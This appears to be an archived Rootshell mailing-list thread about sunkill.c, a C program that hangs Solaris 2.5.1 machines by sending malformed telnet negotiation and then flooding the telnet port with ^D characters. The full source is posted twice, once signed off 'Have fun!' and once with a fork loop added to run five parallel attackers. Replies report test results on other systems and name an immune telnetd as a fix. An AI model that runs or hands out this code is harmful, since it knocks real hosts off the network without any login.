[ http://www.rootshell.com/ ] This is sunkill.c It Affects at least solaris 2.5.1 machines, both sun4c and sun4m achitecutures. I imagine it affects all solaris 2.5.1 machines, both sparc and x86, but im not sure. It basically works by opening a telnet connection on the victim machine and sends a few bad telnet negotiation options, then flooods the port with lots of ^D characters. This uses all the streams memory (i think) on the victims machine and causes the kernel to get very angry. The machien crawls to a halt, the cursor in X stops moving, the machine is unresponsive to the network. Its a bad situation all around. /* ** To make, if your system is BSD'ish: gcc ** ...if your system is SysV'ish: gcc -lnsl -lsocket ** ** Usage: a.out ** ** Have fun! */ #include #include #include #include #include #include #include #include #define BUFSIZE 100 #define DOTS void catchit(void) { printf("\nCaught SIGPIPE -- your link may be too slow.\n"); exit(1); } int main(int argc, char *argv[]) { unsigned char kludge_telopt[] = {IAC,WONT,TELOPT_TTYPE,IAC,DO, \ TELOPT_SGA,IAC,WONT,TELOPT_XDISPLOC,IAC,WONT,TELOPT_NAWS,IAC,WONT, \ TELOPT_OLD_ENVIRON,IAC,WONT,TELOPT_NEW_ENVIRON,IAC,DO,TELOPT_ECHO}; unsigned char nastybuf[BUFSIZE]; struct sockaddr_in sin; struct servent *sp; struct hostent *hp; int s; typedef void (*sig_t) (int); signal(SIGPIPE,(sig_t)catchit); memset(nastybuf,4,BUFSIZE); /* ascii 4 = ^D */ if (!(s = socket(AF_INET, SOCK_STREAM, 0))) { printf("no socket\n"); exit(1); } if (!(hp = gethostbyname(argv[1]))) { printf("unknown host\n"); exit(1); } bzero(&sin,sizeof(sin)); bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length); sin.sin_family = AF_INET; sp = getservbyname("telnet","tcp"); sin.sin_port = sp->s_port; if (connect(s,(struct sockaddr *)&sin,sizeof(sin)) == -1) { printf("can't connect to host\n"); exit(1); } printf("connected to %s\n",argv[1]); write(s,kludge_telopt,21); /* kludge some telnet negotiation */ /* "Let them eat ^Ds..." */ while (write(s,nastybuf,BUFSIZE) != -1) { #ifdef DOTS write(STDOUT_FILENO,".",1); #endif } } Jason Price -- ---------------------------------------------------------------------------- >It Affects at least solaris 2.5.1 machines, both sun4c and sun4m >achitecutures. I imagine it affects all solaris 2.5.1 machines, both sparc >and x86, but im not sure. It basically works by opening a telnet >connection on the victim machine and sends a few bad telnet negotiation >options, then flooods the port with lots of ^D characters. This uses all >the streams memory (i think) on the victims machine and causes the kernel >to get very angry. The machien crawls to a halt, the cursor in X stops >moving, the machine is unresponsive to the network. Its a bad situation >all around. In testing against Linux 2.0.29, it appears to cause the load average to slowly rise. It has been running for a couple of minutes, and the host seems to be tolerating it OK, but it does seem a little annoyed. Nothing like what you report vs. Solaris. The Linux box shows no signs of terminating the connection, though - IMHO, that is a bad thing. ---------------------------------------------------------------------------- I just tested this on a Solaris 2.6 sun4c machine (an old SS1+ I use as a PPP server), and it seems to hang the machine for about 30-45 seconds, and then it recovers. Tried hammering it a number of times, but I couldn't reproduce a total lock-up. It looks like Solaris 2.6 isn't vulnerable to this attack from a crashing standpoint, but it's quite effective as a denial of service attack. I'll try it on some fully patched 2.4 and 2.5 machines on monday. -James ---------------------------------------------------------------------------- BTW, Sun is aware of this, but has neglected to do anything about it. CERT has been made aware as well. Both quite some time ago. I guess a no-login-needed, denial of service attack on any open telnet port isn't very meaningful. The telnet options are pretty standard, actually. This code has killed all the way up to ultras running 2.5.1. I've added a line that seems to make this do a lot better -- it just runs 5 instances in parallel. I've also tidied up a couple of little things, they are the now-unquoted lines. The affected machine will ping but good luck getting a login prompt or doing anything much else on it. Some machines seem to shrug it off, while on others it is devestating. With persistence, it seems to take out most of 'em sooner or later. The machine doesn't actually crash, it goes into deep hibernation. Leave it alone and it'll come back. > > /* > ** To make, if your system is BSD'ish: gcc > ** ...if your system is SysV'ish: gcc -lnsl -lsocket > ** > ** Usage: a.out > ** > ** Have fun! > */ > > #include > #include > #include > #include > #include > #include > #include > #include > > #define BUFSIZE 100 > #define DOTS > > void catchit(void) > { > printf("\nCaught SIGPIPE -- your link may be too slow.\n"); > exit(1); > } > > int main(int argc, char *argv[]) > { > unsigned char kludge_telopt[] = {IAC,WONT,TELOPT_TTYPE,IAC,DO, \ > TELOPT_SGA,IAC,WONT,TELOPT_XDISPLOC,IAC,WONT,TELOPT_NAWS,IAC,WONT, \ > TELOPT_OLD_ENVIRON,IAC,WONT,TELOPT_NEW_ENVIRON,IAC,DO,TELOPT_ECHO}; > > unsigned char nastybuf[BUFSIZE]; > struct sockaddr_in sin; > struct servent *sp; > struct hostent *hp; > int s; > int child; for(child=4;child && fork();--child); /* and then there were 5 */ > typedef void (*sig_t) (int); > signal(SIGPIPE,(sig_t)catchit); > > memset(nastybuf,4,BUFSIZE); /* ascii 4 = ^D */ > if ((s = socket(AF_INET, SOCK_STREAM, 0))==-1) { perror("socket"); > exit(1); > } > > if (!(hp = gethostbyname(argv[1]))) { herror("gethostbyname"); > exit(1); > } > > bzero(&sin,sizeof(sin)); > bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length); > sin.sin_family = AF_INET; > sp = getservbyname("telnet","tcp"); > sin.sin_port = sp->s_port; > > if (connect(s,(struct sockaddr *)&sin,sizeof(sin)) == -1) { perror("connect"); > exit(1); > } > > printf("connected to %s\n",argv[1]); > write(s,kludge_telopt,21); /* kludge some telnet negotiation */ > > /* "Let them eat ^Ds..." */ > > while (write(s,nastybuf,BUFSIZE) != -1) { > > #ifdef DOTS > write(STDOUT_FILENO,".",1); > #endif > } > } > -- Craig A. Johnston caj@neosoft.com ---------------------------------------------------------------------------- It appears that sunkill.c does not have any appreciable affect on a Solaris 2.5.1 system when they are running the MIT Kerberos v5 1.0.4 suite of network authentication utilities (telnetd, rlogind, etc...) whether the machine is a sun4m machine on le0 (10Mb/s ethernet), a sun4u machine on hme0 (100Mb/s ethernet), or a Solarisx86 2.5.1 machine on de0 (10Mb/s ethernet). uname's below w/ patchlevels. The attack was mounted from a FreeBSD 2.2 machine which itself was on a 10Mb/s ethernet twisted pair connection. (I'm not sure network speed/interface is an issue here, however I'm including it to be as verbose as possible.) The code compiled with no errors and appeared to run as 'designed'. On the target machines, there appeared to be no effect, including high loads, excessive memory usage and no complaints in system log files etc... I was able to telnet/rlogin to the target machines both during and immediately after the attack with no appreciable delay. Whether or not this is a direct result of the Kerberos v5 1.0.4 binaries being in place of the stock Solaris binaries or some function of patchlevel is (for me) inconclusive at this point in time as I was not prepared to test attack against the stock binaries. SunOS xxx 5.5.1 Generic_103640-09 sun4u sparc SunOS xxx 5.5.1 Generic_103640-09 sun4m sparc SunOS xxx 5.5.1 Generic_103641-12 i86pc i386 -- Robert Sink ---------------------------------------------------------------------------- [...kerberos comments deleted...] For the unitiated, during the Solaris 2.4(?) patch cycle, telnetd and rlogind became a "twp part program". There is a STREAMS module which is pushed onto the TCP and TTY STREAMS. The push is done by the binary which is run by inetd. I imagine the Kerberos bins don't have another half which are STREAMS modules. This split and use of STREAMS modules is to increase resposiveness with telnet/rlogin connections for servers with large numbers (100s) of users telnet'ting in by removing the need for context switches to copy data from tty to TCP connection. If anyone has an old Solaris 2.4 or 2.3 system, which doesn't have this enhancement present, it might be worthwhile to see if the ^D problem is exploitable. Darren ---------------------------------------------------------------------------- > > It appears that sunkill.c does not have any appreciable affect on a > Solaris 2.5.1 system when they are running the MIT Kerberos v5 1.0.4 > suite of network authentication utilities (telnetd, rlogind, etc...) > whether the machine is a sun4m machine on le0 (10Mb/s ethernet), a > sun4u machine on hme0 (100Mb/s ethernet), or a Solarisx86 2.5.1 > machine on de0 (10Mb/s ethernet). uname's below w/ patchlevels. > Of note, Wieste Venema's telnetd (included in his logdaemon package) is immune to this attack. From the README: telnetd pretty dumb BSD 4.3 telnetd. No access control or logging, but compatible with SunOS 4.x, Ultrix 4.x, SunOS 5.x. Relatively poor in features (no environment passing) so there is less risks of surprises. This just might be the quickfix people are looking for. You can find it at: ftp://ftp.win.tue.nl/pub/security/logdaemon-5.6.tar.gz -Paul Paul Nash ----------------------------------------------------------------------------